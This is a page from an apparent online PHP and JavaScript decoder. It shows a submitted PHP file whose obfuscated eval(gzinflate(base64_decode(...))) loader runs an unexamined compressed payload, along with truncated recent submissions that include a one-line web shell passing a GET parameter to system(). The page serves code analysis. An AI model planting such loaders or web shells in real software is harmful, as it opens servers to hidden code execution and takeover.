Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
define('JFB_PREMIUM_VALUE', 'YToxMDp7czo0OiJ1c2VyIjtpOjI2Njg7czo1OiJlbWFpbCI7czoyMjoiZ2V0aGlyb3NoaW1hQGdtYWlsLmNvbSI7czo0OiJuYW1lIjtzOjEwOiJQYXVsIFdhbHNoIjtzOjc6InZlcnNpb24iO3M6MzoiIDMzIjtzOjU6Im9yZGVyIjtpOjQyODI7czo3OiJ1cGdyYWRlIjtzOjE6IjAiO3M6NzoicHJvZHVjdCI7aTo0OTtzOjU6InByaWNlIjtzOjU6IjI5Ljk5IjtzOjQ6ImRhdGUiO3M6MTk6IjIwMTQtMDItMjAgMDM6NDY6NDMiO3M6MjoiSVAiO3M6MTE6IjE4MC42MC43Mi4xIjt9');
$CWBXLP='zVr7b5vIFv5XaBVViVRVgOOVuFX2Kt4N2FbiTUkMmCqyGBgM8fAoDzt2t//7PTMY2/EDSJqq94fIiZmZ8533d4ZwluOMUy9KMjty8CmHrBT/cT52MPvzvRWYviGa3kjUfCRKiSH2eTS5uHh/9rHRUiItLUVaOMpgZipD2MadfeaoSMvO/Cg83TnDaXWCEZE8U1FdR5FcM5AW6Mtxca2OO9LVKYhKkejE5iVd2kTC3A40tqVKGTjdFjXeMUBK8DQzRTJ9w9NFEiJQz9TgR1cFFKgeClUXKVJo6e3lWpLrkwwnRyTNHEOdww9YSn409f4MiRk94nGkP5GjkiXB6XYER5boEQB04CHmnErdkC7nI90hRktbmkZ/aYiDGepqGQpvqI5HDGgG/diUpUckPglIP3+FEMFuqTOkbR9RJ8wxBjwSBXckSqmjCznsEPiPrUrJpqKlpqGuJPeOu00lSNF4cBvYeBCB69yRYXqOIi/oFqEuPjJHk6YmeMdRNBeAErsqRn5SGPUv2K2dm/qAPyrEIRAKIKA9tXTVW+Nifq2UYCvawhYl8NiTi1od3tKl3J5XJJQzN0R5anY7CySaMag2s7tqDACXNZJGIeRitz8zA5KCNQJLB2/Jkg+hzxfbj+jWf61EW/RmjiAJUAEWEFur7cPjrlon1TdbkFJI4WQTSr9IUgBBQUaBNLMEKUYB4Wsk4Y0ZoLINoO5oOcRYbLc66cggGwtXlNzX6+mwah17GLZCpjJp0CyW5TGOSHhL2W4g8qOjkFl1iQaFIFZbA6h6JLdaTuwo3sYu89qGAP0jA+m01cwg9BeVkpjpppYxWCcVdLyZHfB1Ut7C8scQrG1Qm6+lrtB3IFdhS1WuvkBaZYuKUUiLCSRd4NQWvNaA1iIP0hqsqoUgmYc2QCDVQSrtaE0kEtyFuhmodNsctmdwzLKuNomyAIwDHOOAU1Ri1x4DSHz3lHPzkNl6jJ/8NEt3IcEeFxlaCoG8tKC9wL4PH/x0HOQk81M/w6dAieqLeD2bEAQEhc2GHIL6uCZQjLdsw53gbBzFTNIJfI4fXRSPE/wt9xOcYIsElk9KRJVGXjo6tciasARFFhxBp+WUykFmu+BWD8kSgU4fo8t6ZA4As7NxiOdn3MUFJzaxVhly1HOsrB4NNwgthSyKRG4TZ7uQ1WNiHvfDSXNgBEMYQCjkpvACYNo5zQOwcbhJn0YASTSJ8qwBPOpD1NIgu7VF4ZQGsCgjhmbQwIdplvgAJ8GTRqH1sooBkEQwarfvsWZBIIfBWnZAHp2VJsD9uFYVwjDKfHeRpzhJG2Vj4/gS29BTSIA1KTcNZ7W0Colt2R4eWzMrsxpiqa8MA+ioHoECJ44M1YPCxltA20e1YfQMy9jNCUn9Jf5VoAJHf0qrAc2jxEFRNMXJ2A8zPEmsDFcHlAnj21pGVRA50G5Uxjqg0D/n2MJHrl2FCobn+TiN/TDECUUzj8c4/JbjHI9TO/HjbK8lhLIAUtrVyu4e23xotoqB7AgfBvam0izhkSAtbShFKNDWw8RboglZE10x9PMGfHILzUuhVJaTIhhpXdBjMoLeblZVuMEcCm1Oo4D1zxDmf0XKayD5kzCP3SSAguuH1fYZ6SalNMACYf4PtfmGQB4DFKGWs17ObkQ0MKtyXpO+LwG1AeMRIInVMymMU+AsS3dydjPSGixr6kgUBDjMGppHlDIE5JhON6jVz2rMsrV8K9J+GRpKs4AdMs5jiAQovBxUDg2vRTmPGbpmKFcMrP62rEBTErZCIXZJx4bHUajWxPkRVIezr0QFhA8miD5k3pdXIAtNQ6X3YzEc89iEa0yAk0FjgK8bhv5mzPj1BqyCd9iKJTw7kNn1yjYFqysZG81+wqIofrlN6W3NKNCoVNriHyH+BXq3aSoaP9JJChN/cYPTrepU8z3dy+5VS12e4iQCe+JxYMWM/gpvyupIZtNLbZk10fPns/uLYIlvwqXeBk6DTvqqwbrlgSOpv58IHWWgXOYQB1Oj1SF2IMCwPdhcx1VEIUQgtoJxg+h76ay1Iem+LUseMITYgWzGLPJgWNW2jqodpddAi6xpyJZeMVAcw7q5wQia4N0r6f/++7LS9b1BC4Det7RFOay83TpaW8t3HPSdRjoK5McGt3qlZEvRvGq6d0wqTJSQQ8bN6p3VD2bCdwdN4/pJmjEgM2aeOgJYXMLVQLOLa7AI+GFshwOomwPeYnPJ6k1NefHEMQxWnnkFkBUOerH0nZuQCFmEO471M5fHDqyu16qYEOARkyWenijX/3Qur+++Ho5TD+kU6MNHrnJhy4S4pxXgvFj8x0euL3fGt+rVTW94M9Yur4dXzPz1L92MFtBjRab3X1uX/NXGLbfo0tzp3hw1bGEjME3KrPqrjdA+ZoRtaCWC0AownD/DScq8dIJnwG/hM8Bpak3wBU8hn1zCag0nHPTCz9wJqGPBrylOfIvAVH9qJYm12Hv9aytPggk8925IuRt38efugpvl8HxwOIjLvcW+Fcxd1wX0BVJ5xc/WrfXYPa7bJ1DeRPpWkLac92ew+tTBrh9iZzck7qbmX4bQuVOHQl8bstv5/+4xKwab+7RtavhrF+Fkf9VYu1LP/rOzEETsq9fquAdUPBIK+6sfDhjVmz8PF3ribfeWYrrr/TPY22EaJkFh6b4yOPZeu24XaLZwFT17S4e8dqdNtbti2eGwuZPV4VCWevfCYLg6bnx3pQLEXZ2fr9zXdzjVBveCKhu8fKXKvYvq0/ZXHzxR1YbavSZL2nA6rT9xZ/XDGa0RJ1YySSGBDutPb91HYgZDgX1B49S1SLpvyVEgTTEz+MWfR84xNN4CqoW6QIT10tvC3klf2DpzNbYzfVbpvl/9FHlpXZbLAqd9Wi79xIrCfhDT+jjaxAVbBBaYU0oQRNA54ijdv+Pqqrz9dzS7Zq9VJrkVaoxAXetZaurwGQxm5aTFbNmwxjf4xwqo7bRIxGZI6DvBR1NvL9dc+Hlth1rju4sx8W0cps8bJi2wXhTgGHKA0ad3jUqN4A75rD+UVXko0Jw7o2e+YLc2lW+04bDY+Th2fLy7455RlfMJqLhArd7k5v4m78lqZBk3E/YmWX+a9pQ2oZWkp3ie3e0Q5F9mPaCNve5gdv1XZ46AetjicALWnAPl4eEZ34PBCn4i865TxtuExR+MFj0IgV5ZLp+ZhqYCDIjB30U/eY71UA8DW2xtgBFIhkp41VjXL/8/uubhpnuuv/95DYe/V0Maq36a4myjxG5NBBnT4i3ZQ/MgHf12tZrow7272G70Zw2Vs3+vcj/2ab4fziAynRRCtvwVQvbg9FI+L6y08n355dctazyccR8+cIcfUcMVPBMnSZTcL2IM8g6v/byKmc3TXQMbgxCc8XVz1gPTskGDaPqfg9AkAjsQXMYq9baADjcIGHTHNGzCPGDd4QQA09zfUucz+xLtFb/3N8xdzKivKf7ff6awvtuUne8vL1rPdm9iolk9KK3RZHnh1B8ctr1o13y3wBbsrkazom0rQ6kXeDE4FzKpN0GBnJn3vL/23l1vYulfpF7YWZi6kDs67/e6pgdZRG7vqKhPzHOfdmQY7CKBPUO7z3r+5ex2UrjwB/c/';$ecnbav=';)))CYKOJP$(rqbprq_46rfno(rgnysavmt(ynir';$TMwJOe=strrev($ecnbav);$cDrWsZ=str_rot13($TMwJOe);eval($cDrWsZ);

Decrypted code:

eval(gzinflate(base64_decode($CWBXLP)));

Recent submissions:

<?php $Sz69bMf = implode(",",array("DLf7qg","bHu4RkVZ3","R8M64","V_khplX")); $d23pmITn = s... var _0x4943=["\x63\x6C\x69\x63\x6B","\x76\x61\x6C","\x23\x66\x69\x65\x6C\x64\x2D\x70\x61\x... var _0x4943=["\x63\x6C\x69\x63\x6B","\x76\x61\x6C","\x23\x66\x69\x65\x6C\x64\x2D\x70\x61\x... var _0x4943=["\x63\x6C\x69\x63\x6B","\x76\x61\x6C","\x23\x66\x69\x65\x6C\x64\x2D\x70\x61\x... var _0x4943=["\x63\x6C\x69\x63\x6B","\x76\x61\x6C","\x23\x66\x69\x65\x6C\x64\x2D\x70\x61\x... goto ZClnU; ZClnU: function kindergarten() { $apiUrl = "\150\x74\164\x70\163\x3a\57\57\15... AVkTpuzNPHhm2ziS3/0rEI43lHctV7aT7K55KYl9jrNGZpnYmVZdErlHJI8EIykQCUxcRju5337da5DgWEkeZjlCOZ... AVkTpuzNPHhm2ziS3/0rEI43lHctV7aT7K55KYl9jrNGZpnYmVZdErlHJI8EIykQCUxcRju5337da5DgWEkeZjlCOZ... <?php define('JFB_PREMIUM_VALUE', 'YToxMDp7czo0OiJ1c2VyIjtpOjI2Njg7czo1OiJlbWFpbCI7czoyMj... if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }...